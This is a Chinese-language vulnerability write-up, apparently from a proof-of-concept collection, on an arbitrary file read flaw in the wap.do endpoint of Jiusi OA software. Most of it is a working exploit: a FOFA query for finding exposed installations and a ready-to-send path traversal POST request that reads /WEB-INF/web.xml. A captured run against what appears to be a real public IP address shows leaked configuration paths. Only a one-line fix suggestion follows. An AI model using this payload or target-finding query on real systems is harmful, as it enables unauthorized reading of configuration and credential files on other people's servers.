

J5-2九思-OA-任意文件读取

漏洞描述：

北京九思协同办公软件wap.do接口处存在任意文件读取漏洞，攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

影响版本：

- 九思-OA

网站图片：



网络测绘：

fofa语法：

FOFA: app="九思软件-OA"

漏洞复现：

payload:

```
POST /jsOA/wap.do?method=downLoad HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

path=../&name=&FileName=/WEB-INF/web.xml
```

效果图:

Request

< > 数据包扫描 热加载 构造请求

1 POST /jsOA/wap.do?method=downLoad HTTP/1.1

2 Host : 112.230.203.226:8001

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

4 Content-Type: application/x-www-form-urlencoded

5 Accept-Encoding: gzip

6

7 path=../&name=&FileName=/WEB-INF/web.xml

Responses 18815bytes / 330ms

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

../../../../WEB-INF/struts-config/organizat

../../../../WEB-INF/struts-config/event-config.

../../../../WEB-INF/struts-config/manager-c

../../../../WEB-INF/struts-config/group-con

../../../../WEB-INF/struts-config/user-conf

../../../../WEB-INF/struts-config/right-con

../../../../WEB-INF/struts-config/role-conf

../../../../WEB-INF/struts-config/security-

../../../../WEB-INF/struts-config/info-conf

../../../../WEB-INF/struts-config/jsflow-co

../../../../WEB-INF/struts-config/personalwork-

../../../../WEB-INF/struts-config/subsidiarywor

../../../../WEB-INF/struts-config/workmanag

../../../../WEB-INF/struts-config/officeman

../../../../WEB-INF/struts-config/menu-conf

../../../../WEB-INF/struts-config/doc-config.xml

../../../../WEB-INF/struts-config/message-confi

../../../../WEB-INF/struts-config/userdb-config

../../../../WEB-INF/struts-config/eform-config.

../../../../WEB-INF/struts-config/module-config

../../../../WEB-INF/struts-config/pdoc-config.x

../../../../WEB-INF/struts-config/examination-c

../../../../WEB-INF/struts-config/press_config.

../../../../WEB-INF/struts-config/dossier-confi

../../../../WEB-INF/struts-config/chat-config.x

../../../../WEB-INF/struts-config/databasebacku

../../../../WEB-INF/struts-config/mail-config.x

修复建议：

立即修复北京九思协同办公软件的wap.do接口，限制文件读取权限，防止未授权访问敏感文件，确保系统安全。